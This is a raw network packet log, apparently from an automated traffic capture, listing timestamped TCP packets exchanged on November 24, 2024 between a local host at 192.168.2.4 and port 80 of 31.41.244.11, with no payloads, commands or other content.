Nov 24, 2024 14:24:23.861485958 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.861485958 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.861520052 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.862328053 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.862374067 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.862442970 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.862483978 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.863301039 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.863351107 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.863425970 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.863470078 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.864155054 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.864202976 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.016810894 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.016866922 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.016907930 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.016971111 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.017261028 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.017311096 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.017388105 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.017440081 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.018165112 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.018214941 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.018280983 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.018317938 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.019083023 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.019136906 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.019216061 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.019289017 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.020020008 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.020076990 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.020131111 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.020184040 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.020946026 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.020994902 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.021054983 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.021132946 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.021867990 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.021922112 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.021986961 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.022066116 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.022785902 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.022835970 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.022896051 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.022964954 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.023734093 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.023777962 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.023835897 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.023880959 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.024672985 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.024725914 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.024776936 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.024846077 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.025593996 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.025645018 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.025782108 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.025851965 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.026549101 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.026629925 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.026669979 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.026721001 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.027544975 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.027604103 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.027630091 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.027669907 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.028444052 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.028495073 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.028501987 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.028541088 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.029408932 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.029459953 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.029484987 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.029582977 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.030241013 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.030292988 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.030348063 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.030386925 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.031169891 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.031239986 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.031274080 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.031341076 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.032147884 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.032188892 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.032247066 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.032553911 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.033047915 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.033098936 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.033159018 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.033201933 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.034064054 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.034107924 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.034157991 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.034209967 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.034961939 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.034997940 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.035044909 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.035089016 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.035852909 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.035908937 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.035926104 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.035979986 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.036736965 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.036788940 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.036849976 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.036916018 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.037678957 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.037729979 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.037815094 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.037856102 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.038602114 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.038656950 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.038697004 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.038800001 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.039589882 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.039634943 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.039696932 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.039742947 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.040455103 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.040513039 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.040529013 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.040575027 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.041405916 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.041465044 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.041501999 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.041580915 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.042335987 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.042385101 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.042439938 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.042587042 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.043262005 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.043308020 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.043373108 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.043421030 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.044183969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.044231892 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.044301033 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.044356108 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.045111895 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.045165062 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.045222044 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.045264006 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.046036959 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.046087980 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.046134949 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.046175957 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.046973944 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.047023058 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.047068119 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.047111988 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.047934055 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.047990084 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.048049927 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.048126936 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.048836946 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.048888922 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.048957109 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.048998117 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.049890041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.049942017 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.050020933 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.050092936 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.050709963 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.050759077 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.050792933 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.050879002 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.051630974 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.051680088 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.051712036 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.051783085 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.052615881 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.052664995 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.052697897 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.052742004 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.053504944 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.053591967 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.053608894 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.053631067 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.054425001 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.054478884 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.054511070 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.054548979 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.055346966 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.055393934 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.055470943 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.055510998 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.056262970 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.056310892 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.056384087 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.056463003 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.057190895 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.057235956 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.057315111 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.057359934 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.058418036 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.058465004 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.058542967 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.058588028 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.059093952 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.059142113 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.059181929 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.059364080 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.059999943 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.060055971 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.060108900 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.060211897 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.060909033 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.060957909 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.061019897 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.061070919 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.061846972 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.061887980 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.061902046 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.061919928 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.062777042 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.062828064 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.062845945 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.062932014 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.063719988 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.063776016 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.063832998 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.063874960 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.064651012 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.064692974 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.064719915 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.064898014 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.065509081 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.065553904 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.217993021 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.218045950 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.218048096 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.218084097 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.218310118 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.218362093 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.218615055 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.218667984 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.218732119 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.218780994 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.219516039 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.219564915 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.219759941 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.219799995 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.220441103 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.220504045 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.220561028 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.220633030 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.221359968 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.221402884 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.221483946 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.221534014 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.222238064 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.222279072 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.222342014 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.222508907 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.223165035 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.223203897 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.223285913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.223347902 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.224148989 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.224194050 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.224230051 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.224406004 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.225028038 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.225075006 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.225125074 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.225172997 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.226018906 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.226067066 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.226094007 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.226141930 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.226887941 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.226933002 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.227005959 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.227138042 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.227838993 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.227886915 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.227956057 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.228059053 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.228790998 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.228833914 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.228944063 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.228986025 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.229712963 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.229763031 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.229795933 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.229835987 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.230616093 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.230664015 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.230729103 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.230777979 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.231566906 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.231610060 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.231658936 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.231707096 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.232486963 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.232537985 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.232614040 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.232657909 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.233400106 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.233442068 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.233514071 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.233676910 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.234327078 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.234396935 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.234409094 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.234446049 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.235275984 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.235327005 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.235353947 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.235413074 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.236213923 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.236258984 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.236330032 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.236366034 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.237309933 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.237353086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.237375021 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.237473011 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.238079071 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.238151073 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.238172054 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.238228083 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.239016056 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.239037991 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.239063025 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.239078999 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.240072012 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.240118980 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.240148067 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.240195036 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.240840912 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.240890026 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.240921974 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.240999937 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.241779089 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.241902113 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.241947889 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.242712021 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.242758036 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.242819071 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.242943048 CET	49778	80	192.168.2.4	31.41.244.11
